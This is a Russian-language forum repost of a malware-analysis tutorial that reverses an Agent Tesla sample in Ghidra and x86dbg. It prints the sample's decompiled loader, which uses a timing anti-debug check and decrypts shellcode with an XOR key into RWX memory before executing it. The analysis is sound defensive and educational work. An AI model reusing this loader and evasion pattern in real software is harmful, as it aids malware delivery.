Agent Tesla. Учимся реверсить боевую малварь в Ghidra

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Недавно мне попался интересный экземпляр малвари под названием Agent Tesla. Он распространен и используется по сей день (семпл 2023 года). Предлагаю попробовать исследовать его и посмотреть, что внутри у боевой малвари.

Кроме того, мы столкнемся:
  • с распаковкой инсталлятора NSIS и анализом полученного инсталляционного скрипта, который нам поможет в распаковке;
  • поиском функции main при ее обвязке в CRT (можно будет удивиться, сколько кода неявно закидывает компилятор в .exe);
  • расшифровкой и дампингом шелл‑кода и предварительным поиском его по функции выделения памяти;
  • правильной загрузкой полученного шелл‑кода в дизассемблер.
В этот раз я отойду от своей традиции использовать IDA Pro для реверсинга: вместо этого возьмем Ghidra. С момента ее выпуска прошло уже несколько лет, она обзавелась внушительным списком багфиксов и новых фич, к тому же она бесплатна и постоянно обновляется.

ПОДГОТОВИТЕЛЬНЫЕ РАБОТЫ​

Начинаем этап предварительной разведки: закидываем семпл в детектор пакеров и протекторов DiE. Выясняем, что малварь поставляется в виде инсталлятора NSIS.

Результат сканирования DiE инсталлятора Agent Tesla


Извлекаем содержимое инсталлятора и получаем несколько файлов. Обрати внимание, что среди распакованных файлов должен быть скрипт NSIS, который содержит полезную информацию. Для распаковки я использовал устаревшую версию 7-Zip (поддержка извлечения скриптов начинается с версии 4.42 и прекращается в версии 15.06).

Интересная часть NSIS-скрипта


В этой части скрипта мы видим список файлов в инсталляторе и параметры запуска единственного .exe (это интересно и пригодится нам в дальнейшем). Среди прочих данных скрипта есть путь установки InstallDir $TEMP. Теперь посмотрим на PE-файл в DiE.

Смотрим распакованный PE в DiE


Видно, что файл написан на C/C++, скомпилирован для 32-битных систем и, судя по не особенно высокой энтропии, не запакован. Пришло время загрузить его в Ghidra.

РЕВЕРСИМ​

Среди функций, перечисленных в таблице импорта, есть упоминание VirtualAlloc. Она‑то нас и интересует, потому что малварь часто использует ее для выделения памяти под распаковку. Восстанавливаем перекрестную ссылку и видим функцию, в которой она вызывается.

Мы могли бы попробовать пойти «быстрым» путем: загрузить вредонос в отладчик, поставить бряк на VirtualAlloc и... обломаться, потому что Agent Tesla завершится раньше бряка. Поэтому всегда советую в первую очередь осмотреть интересные вызовы и прилегающий к ним код в статике.

Функция небольшая, приведу листинг декомпилятора Ghidra полностью. Тем более что она нам интересна почти вся.
Код: Скопировать в буфер обмена
Код:
BOOL FUN_00401300(undefined4 param_1,undefined4 param_2,LPCSTR param_3)
{
  DWORD DVar1;
  DWORD DVar2;
  BOOL BVar3;
  HANDLE hFile;
  HANDLE hFileMappingObject;
  LPVOID _Src;
  code *_Dst;
  int local_8;
  DVar1 = GetTickCount();
  Sleep(702);
  DVar2 = GetTickCount();
  if (DVar2 - DVar1 < 700) {
    BVar3 = 0;
  }
  else {
    hFile = CreateFileA(param_3,0x80000000,1,0x0,3,0x80,0x0);
    if (hFile == 0xffffffff) {
      BVar3 = 0;
    }
    else {
      hFileMappingObject = CreateFileMappingA(hFile,0x0,2,0,0,0x0);
      if (hFileMappingObject == 0x0) {
        CloseHandle(hFile);
        BVar3 = 0;
      }
      else {
        _Src = MapViewOfFile(hFileMappingObject,4,0,0,0x1de0);
        if (_Src == 0x0) {
          CloseHandle(hFileMappingObject);
          CloseHandle(hFile);
          BVar3 = 0;
        }
        else {
          _Dst = VirtualAlloc(0x0,0x1de0,0x1000,0x40);
          if (_Dst == 0x0) {
            UnmapViewOfFile(_Src);
            CloseHandle(hFileMappingObject);
            CloseHandle(hFile);
            BVar3 = 0;
          }
          else {
            FID_conflict:_memcpy(_Dst,_Src,0x1de0);
            for (local_8 = 0; local_8 < 0x16c2; local_8 = local_8 + 1) {
              _Dst[local_8] = _Dst[local_8] ^ s_248058040134_0041c2a4[local_8 % 0xc];
            }
            (*_Dst)();
            VirtualFree(_Dst,0,0x8000);
            UnmapViewOfFile(_Src);
            CloseHandle(hFileMappingObject);
            BVar3 = CloseHandle(hFile);
          }
        }
      }
    }
  }
  return BVar3;
}
Здесь сразу бросаются в глаза строки кода, содержащие простую антиотладку:
Код: Скопировать в буфер обмена
Код:
DVar1 = GetTickCount();
Sleep(702);
DVar2 = GetTickCount();
if (DVar2 - DVar1 < 700) {
  BVar3 = 0;
}
else {
Это известный антиотладочный прием, который проверяет скорость выполнения кода. Если код выполняется слишком медленно (замеряем время выполнения в миллисекундах при помощи двух вызовов GetTickCount), переменная BVar3 принимает значение 0, и программа завершается.

Следующий интересный кусок кода открывает файл, и, если сделать это не получается, программа также завершается. Я не зря уже говорил, что нужно сначала изучить код в статике и только потом идти в отладчик. Так почему же исполняемый файл завершается до нашего брейк‑пойнта? Давай посмотрим, что за файл от нас тут ждут:
Код: Скопировать в буфер обмена
Код:
hFile = CreateFileA(param_3,0x80000000,1,0x0,3,0x80,0x0);
if (hFile == 0xffffffff) {
  BVar3 = 0;

Определяем функцию main​

Разумеется, нам интересен аргумент param_3, который сообщает функции CreateFileA путь к файлу. Этот аргумент выходит за пределы нашей функции, и мы находим единственную перекрестную ссылку на эту функцию, которая ведет нас вот в такой код. Обрати внимание на десять интересных функций, которые помогут косвенно определить, где мы находимся!
Код: Скопировать в буфер обмена
Код:
int __cdecl __scrt_common_main_seh(void)
{
  code *pcVar1;
  bool bVar2;
  undefined4 uVar3;
  int iVar4;
  code **ppcVar5;
  _func_void_void_ptr_ulong_void_ptr **pp_Var6;
  byte *OpenFileArg;
  uint uVar7;
  BOOL unaff_ESI;
  undefined4 uVar8;
  undefined4 uVar9;
  void *local_14;
  // Интересная функция 1
  uVar3 = ___scrt_initialize_crt(1);
  if (uVar3 != '\0') {
    bVar2 = false;
    // Интересная функция 2
    uVar3 = ___scrt_acquire_startup_lock();
    if (DAT_0041cb9c != 1) {
      if (DAT_0041cb9c == 0) {
        DAT_0041cb9c = 1;
        iVar4 = __initterm_e(&DAT_00414238,&DAT_00414254);
        if (iVar4 != 0) {
          ExceptionList = local_14;
          return 0xff;
        }
        FUN_00407131(&DAT_0041422c,&DAT_00414234);
        DAT_0041cb9c = 2;
      }
      else {
        bVar2 = true;
      }
      // Интересная функция 3
      ___scrt_release_startup_lock(uVar3);
      ppcVar5 = FUN_00401e6e();
      if ((*ppcVar5 != 0x0) &&
         (uVar3 = ___scrt_is_nonwritable_in_current_image(ppcVar5),
         // Интересная функция 4
         uVar3 != '\0')) {
        pcVar1 = *ppcVar5;
        uVar9 = 0;
        uVar8 = 2;
        uVar3 = 0;
        // Интересная функция 5
        _guard_check_icall();
        (*pcVar1)(uVar3,uVar8,uVar9);
      }
      pp_Var6 = FUN_00401e74();
      if ((*pp_Var6 != 0x0) &&
         (uVar3 = ___scrt_is_nonwritable_in_current_image(pp_Var6),
         // Интересная функция 6
         uVar3 != '\0')) {
        // Интересная функция 7
        __register_thread_local_exe_atexit_callback(*pp_Var6);
      }
      // Интересная функция 8
      ___scrt_get_show_window_mode();
      // Интересная функция 9
      OpenFileArg = __get_narrow_winmain_command_line();
      unaff_ESI = main(0x400000,0,OpenFileArg); // !
      uVar7 = FUN_00401fcb();
      if (uVar7 != '\0') {
        if (!bVar2) {
          __cexit();
        }
        // Интересная функция 10
        ___scrt_uninitialize_crt('\x01','\0');
        ExceptionList = local_14;
        return unaff_ESI;
      }
      goto LAB_00401afd;
    }
  }
  FUN_00401e7a(7);
LAB_00401afd:
  _exit(unaff_ESI);
В этом коде наша функция FUN_00401300 уже названа мной main, но как я узнал об этом? Смотрим внимательно и видим, что вызывающая main функция имеет название __cdecl __scrt_common_main_seh(void). То есть эта функция — начало рантайма CRT. Она делает необходимые настройки (в том числе SEH, как видно из названия) и затем уже загружает функцию main, которая имеет прототип main(int argc, const char **argv, const char **envp), то есть ожидает три аргумента. Далее вспоминаем, что наше приложение — 32-битное, поэтому вызывающий код будет выглядеть примерно так:
Код: Скопировать в буфер обмена
Код:
push edi
push esi
push [eax]
call main
В декомпилированном листинге видим вот что (аргумент OpenFileArg уже назван мной):
Код: Скопировать в буфер обмена
Код:
___scrt_get_show_window_mode();
OpenFileArg = __get_narrow_winmain_command_line();
unaff_ESI = main(0x400000,0,OpenFileArg);
Аргументы извлекаются вызовом функции __get_narrow_winmain_command_line(), кроме того, вызывается метод ___scrt_get_show_window_mode(), который сигнализирует, показывать окно приложения или нет. Также видим функции инициализации и деинициализации CRT: ___scrt_initialize_crt и ___scrt_uninitialize_crt. Одним словом, мы однозначно определяем, что это обвязка CRT для функции main, и при помощи шагов, описанных выше, определяем точку входа в main.

Перед нами хороший пример того, сколько кода компилятор автоматически укладывает в создаваемое приложение. Мы пишем простой «Hello, world», состоящий из одной функции MessageBox, а в таблице импорта видим много интересного. Чтобы избежать подобного, нужно поколдовать над настройками проекта.

Расшифровываем шелл-код​

Итак, мы можем сделать вывод, что параметр param_3, ради которого мы провели это небольшое исследование, — это не что иное, как путь, передаваемый как аргумент командной строки. Вспоминаем, что в скрипте инсталлятора мы видели строчку, начинающуюся с ExecWait. Она говорит нам о том, что в качестве аргумента передается файл pgkayd.aq, который находится в числе файлов инсталлятора. Идем по функции main дальше и видим:
Код: Скопировать в буфер обмена
Код:
// Выделяем память
_Dst = VirtualAlloc(0x0,0x1de0,0x1000,0x40);
// Если вызов VirtualAlloc неудачный, производим очистку и идем на завершение
if (_Dst == 0x0) {
  UnmapViewOfFile(_Src);
  CloseHandle(hFileMappingObject);
  CloseHandle(hFile);
  BVar3 = 0;
}
else {
  // Копируем данные в выделенную область при помощи memcpy
  FID_conflict:_memcpy(_Dst,_Src,0x1de0);
  // А это цикл расшифровки данных, основанный на XOR
  for (local_8 = 0; local_8 < 0x16c2; local_8 = local_8 + 1) {
    _Dst[local_8] = _Dst[local_8] ^ s_248058040134_0041c2a4[local_8 % 0xc];
  }
  // Вызов расшифрованного кода
  (*_Dst)();
Здесь много интересного: и вызов VirtualAlloc, за который мы уцепились, чтобы попасть сюда, и цикл, который ксорит данные по ключу, расшифровывая их, и вызов (*_Dst)();, который выполняет расшифрованный код. Я снабдил листинг подробными комментариями, чтобы была понятна логика.

Разумеется, тех же результатов мы смогли бы достичь, используя отладчик, но я захотел показать, как это можно сделать, не вылезая из дизассемблера и используя только статический анализ.
Так, функции дешифровки и ее логика локализованы, теперь потребуется динамика! Расчехляем отладчик x86dbg, чтобы извлечь наш расшифрованный шелл‑код в отдельный файл.

Вытаскиваем шелл-код отдельным файлом​

Чтобы вытащить расшифрованный шелл‑код, нам нужно запустить файл в отладчике. Из файла скрипта NSIS помним, что для корректного запуска в наш exe’шник нужно передать в качестве аргумента файл pgkayd.aq. Все это можно настроить прямо в интерфейсе x86dbg.
Настраиваем запуск вредоноса в x86dbg


Теперь устанавливаем точку останова на VirtualAlloc и запускаемся. Таким образом мы проскочим антиотладку и проверку аргумента, который помешал бы нам нормально запуститься (потому что аргумент мы заполнили на предыдущем шаге), и остановимся на VirtualAlloc. Далее ее необходимо выполнить до ret, завершив работу функции. Наблюдаем следующую картину: в EAX у нас хранится адрес выделенной VirtualAlloc памяти, которую мы просматриваем в окне дампа. Мы знаем, что расшифровка пойдет в этот буфер, поэтому ставим точку останова по доступу на начало буфера, ожидая там появления данных. После этого зашифрованный код скопируется в буфер, и мы увидим это в окне дампа.
Состояние Agent Tesla перед дешифровкой в x86dbg


С учетом знаний, полученных на этапе статического анализа, мы знаем, что следом после копирования зашифрованных данных в буфер идет его расшифровка. Ставим бряк сразу после цикла расшифровки и видим, как данные в буфере изменились. Теперь, дизассемблировав их вручную (Follow in Disassembler в x86dbg), можно убедиться, что это осмысленный код.
Цикл расшифровки и вызов шелл-кода в Agent Tesla


Как видно на скрине, мы пришли к тому, что шелл‑код полностью расшифрован и готов выполняться. Теперь нам нужно его сохранить в отдельный файл, чтобы продолжить исследования позднее. Вызываем команду Follow in Memory Map из контекстного меню дампа и перемещаемся к карте памяти.
Карта памяти Agent Tesla


Далее жмем Dump Memory to File в контекстном меню и тем самым сохраняем выделенную память. Обрати внимание на права этой области памяти — ERW (то же, что RWX), говорящие о том, что память готова выполниться (красный флаг для антивируса!). Полученный дамп можно будет загрузить как файл в Ghidra для дальнейших исследований. Единственная загвоздка в том, что нужно вручную выбрать параметры анализа в дизассемблере.
Загрузка полученного шелл-кода в Ghidra


Так как изначальный файл был 32-битный и собран в Visual Studio, такие же параметры выбираем для шелл‑кода.

ВЫВОДЫ​

Итак, в этой статье мы достаточно многому научились: разобрались с NSIS-скриптом, справились с распаковкой, расшифровали шелл‑код и сохранили нашу работу. И проделали это все в Ghidra (и в x86dbg), избавив себя от необходимости использовать платную IDA Pro.

Автор @xtahi0nix aka Nik Zerof
источник xakep.ru
 
Сверху Снизу